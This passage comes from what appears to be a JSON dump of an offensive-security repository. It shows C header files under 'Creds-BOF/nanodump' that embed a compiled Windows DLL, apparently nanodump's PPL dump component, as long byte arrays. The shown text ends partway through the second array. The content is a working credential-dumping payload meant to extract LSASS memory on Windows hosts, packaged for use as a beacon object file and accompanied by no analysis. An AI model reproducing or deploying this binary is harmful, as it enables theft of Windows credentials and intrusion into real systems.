00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0xDF,0xC5,0xCA,0x01,0x00,0x00,0x00,0x70,0xDF,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x00,0x0C,0x00,0x00,0x00,0xE8,0xA1,0x00,0x00,0x00,0x00,0x01,0x00,0x14,0x00,0x00,0x00,0x10,0xA0,0x40,0xA0,0x50,0xA0,0x60,0xA0,0x68,0xA0,0x70,0xA0,0x00,0x10,0x01,0x00,0x28,0x00,0x00,0x00,0x60,0xAD,0x80,0xAD,0x88,0xAD,0x90,0xAD,0x98,0xAD,0x50,0xAF,0x60,0xAF,0x70,0xAF,0x80,0xAF,0x90,0xAF,0xA0,0xAF,0xB0,0xAF,0xC0,0xAF,0xD0,0xAF,0xE0,0xAF,0xF0,0xAF,0x00,0x20,0x01,0x00,0x10,0x00,0x00,0x00,0x00,0xA0,0x10,0xA0,0x20,0xA0,0x00,0x00,0x00,0xA0,0x01,0x00,0x10,0x00,0x00,0x00,0x18,0xA0,0x30,0xA0,0x38,0xA0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};\nunsigned int nanodump_ppl_dump_dll_len = 75264;\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/nanodump_ppl_dump_dll.x86.h",
    "content": "#pragma once\n\nunsigned char nanodump_ppl_dump_dll[] = {0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x0A,0x00,0x9C,0x79,0x7A,0x68,0x00,0x0A,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x0E,0x23,0x0B,0x01,0x02,0x29,0x00,0xBE,0x00,0x00,0x00,0x06,0x01,0x00,0x00,0x1C,0x00,0x00,0xB0,0x13,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0x00,0x48,0x65,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x01,0x00,0x00,0x04,0x00,0x00,0x2B,0xC1,0x01,0x00,0x03,0x00,0x40,0x01,0x00,0x00,0x20,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x50,0x01,0x00,0xC5,0x01,0x00,0x00,0x00,0x60,0x01,0x00,0xD8,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x01,0x00,0x80,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC8,0xEC,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0x61,0x01,0x00,0xE8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x74,0xBD,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xBE,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x60,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0xA8,0x00,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xC2,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0x6C,0x11,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x12,0x00,0x00,0x00,0xC4,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2F,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x21,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x22,0x00,0x00,0x00,0xD6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x62,0x73,0x73,0x00,0x00,0x00,0x00,0x80,0x1A,0x00,0x00,0x00,0x30,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0xC0,0x2E,0x65,0x64,0x61,0x74,0x61,0x00,0x00,0xC5,0x01,0x00,0x00,0x00,0x50,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x69,0x64,0x61,0x74,0x61,0x00,0x00,0xD8,0x05,0x00,0x00,0x00,0x60,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0xFA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x43,0x52,0x54,0x00,0x00,0x00,0x00,0x2C,0x00,0x00,0x00,0x00,0x70,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x74,0x6C,0x73,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x80,0x05,0x00,0x00,0x00,0x90,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0x04,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x83,0xEC,0x18,0xC7,0x04,0x24,0x00,0x30,0x49,0x65,0xE8,0x4E,0xBA,0x00,0x00,0xC9,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x45,0x0C,0x85,0xC0,0x75,0x70,0xA1,0x0C,0x30,0x49,0x65,0x31,0xD2,0x85,0xC0,0x7E,0x55,0x83,0xE8,0x01,0x8B,0x3D,0x68,0x61,0x49,0x65,0x31,0xF6,0xA3,0x0C,0x30,0x49,0x65,0xEB,0x0F,0x8D,0x76,0x00,0xC7,0x04,0x24,0xE8,0x03,0x00,0x00,0xFF,0xD7,0x83,0xEC,0x04,0xBA,0x01,0x00,0x00,0x00,0x89,0xF0,0xF0,0x0F,0xB1,0x15,0x24,0x4A,0x49,0x65,0x89,0xC3,0x85,0xC0,0x75,0xDF,0xA1,0x28,0x4A,0x49,0x65,0x83,0xF8,0x02,0x0F,0x84,0xC9,0x00,0x00,0x00,0xC7,0x04,0x24,0x1F,0x00,0x00,0x00,0xE8,0x45,0xBB,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x8D,0x65,0xF4,0x89,0xD0,0x5B,0x5E,0x5F,0x5D,0xC2,0x0C,0x00,0x8D,0x74,0x26,0x00,0x83,0xF8,0x01,0x75,0xE6,0x64,0xA1,0x18,0x00,0x00,0x00,0x8B,0x35,0x68,0x61,0x49,0x65,0x8B,0x78,0x04,0x31,0xDB,0xEB,0x1C,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x39,0xC7,0x0F,0x84,0xA8,0x00,0x00,0x00,0xC7,0x04,0x24,0xE8,0x03,0x00,0x00,0xFF,0xD6,0x83,0xEC,0x04,0x89,0xD8,0xF0,0x0F,0xB1,0x3D,0x24,0x4A,0x49,0x65,0x85,0xC0,0x75,0xDE,0x31,0xDB,0xA1,0x28,0x4A,0x49,0x65,0x83,0xF8,0x01,0x0F,0x84,0xEE,0x00,0x00,0x00,0xA1,0x28,0x4A,0x49,0x65,0x85,0xC0,0x0F,0x84,0x91,0x00,0x00,0x00,0xA1,0x28,0x4A,0x49,0x65,0x83,0xF8,0x01,0x0F,0x84,0xAB,0x00,0x00,0x00,0x85,0xDB,0x74,0x6F,0xA1,0xC4,0xEC,0x48,0x65,0x85,0xC0,0x74,0x1A,0x8B,0x55,0x10,0xC7,0x44,0x24,0x04,0x02,0x00,0x00,0x00,0x89,0x54,0x24,0x08,0x8B,0x55,0x08,0x89,0x14,0x24,0xFF,0xD0,0x83,0xEC,0x0C,0x83,0x05,0x0C,0x30,0x49,0x65,0x01,0xBA,0x01,0x00,0x00,0x00,0xE9,0x4B,0xFF,0xFF,0xFF,0x8D,0x76,0x00,0xC7,0x04,0x24,0x00,0x30,0x49,0x65,0xE8,0x0C,0xBA,0x00,0x00,0xC7,0x05,0x28,0x4A,0x49,0x65,0x00,0x00,0x00,0x00,0x87,0x1D,0x24,0x4A,0x49,0x65,0xE9,0x22,0xFF,0xFF,0xFF,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xBB,0x01,0x00,0x00,0x00,0xE9,0x6A,0xFF,0xFF,0xFF,0x8D,0xB6,0x00,0x00,0x00,0x00,0x87,0x1D,0x24,0x4A,0x49,0x65,0xEB,0x89,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xC7,0x05,0x28,0x4A,0x49,0x65,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x10,0x70,0x49,0x65,0xC7,0x04,0x24,0x08,0x70,0x49,0x65,0xE8,0x32,0xBA,0x00,0x00,0xE9,0x4C,0xFF,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0xC7,0x44,0x24,0x04,0x04,0x70,0x49,0x65,0xC7,0x04,0x24,0x00,0x70,0x49,0x65,0xE8,0x14,0xBA,0x00,0x00,0xC7,0x05,0x28,0x4A,0x49,0x65,0x02,0x00,0x00,0x00,0xE9,0x32,0xFF,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0xC7,0x04,0x24,0x1F,0x00,0x00,0x00,0xE8,0xE4,0xB9,0x00,0x00,0xE9,0x0E,0xFF,0xFF,0xFF,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x57,0x89,0xCF,0x56,0x89,0xC6,0x53,0x89,0xD3,0x83,0xEC,0x2C,0x89,0x15,0x88,0xD0,0x48,0x65,0x85,0xD2,0x75,0x77,0xA1,0x0C,0x30,0x49,0x65,0x85,0xC0,0x74,0x4E,0xE8,0x59,0xAB,0x00,0x00,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x54,0xA7,0x00,0x00,0x83,0xEC,0x0C,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0xE8,0xF2,0xB4,0x00,0x00,0x83,0xEC,0x0C,0x89,0x45,0xE4,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0xE8,0xBC,0xFD,0xFF,0xFF,0x8B,0x55,0xE4,0x83,0xEC,0x0C,0x85,0xC0,0x75,0x04,0x66,0x90,0x31,0xD2,0xC7,0x05,0x88,0xD0,0x48,0x65,0xFF,0xFF,0xFF,0xFF,0x8D,0x65,0xF4,0x89,0xD0,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0xE8,0xEB,0xAA,0x00,0x00,0x8D,0x43,0xFF,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0x83,0xF8,0x01,0x77,0x48,0xE8,0x73,0xFD,0xFF,0xFF,0x83,0xEC,0x0C,0x85,0xC0,0x74,0xBC,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0xE8,0x7C,0xB4,0x00,0x00,0x83,0xEC,0x0C,0x85,0xC0,0x74,0x45,0x83,0xFB,0x01,0x74,0x68,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x02,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0xAB,0xA6,0x00,0x00,0x83,0xEC,0x0C,0x89,0xC2,0xEB,0x87,0x2E,0x8D,0x74,0x26,0x00,0xE8,0x9A,0xA6,0x00,0x00,0x83,0xEC,0x0C,0x89,0xC2,0x83,0xFB,0x03,0x0F,0x85,0x6F,0xFF,0xFF,0xFF,0xE9,0x36,0xFF,0xFF,0xFF,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x83,0xFB,0x01,0x0F,0x85,0x57,0xFF,0xFF,0xFF,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0xF3,0xFC,0xFF,0xFF,0x83,0xEC,0x0C,0xE9,0x3B,0xFF,0xFF,0xFF,0x8D,0x76,0x00,0xE8,0x73,0xA7,0x00,0x00,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x3E,0xA6,0x00,0x00,0x83,0xEC,0x0C,0x89,0xC2,0x85,0xC0,0x0F,0x85,0x14,0xFF,0xFF,0xFF,0x89,0x45,0xE4,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x0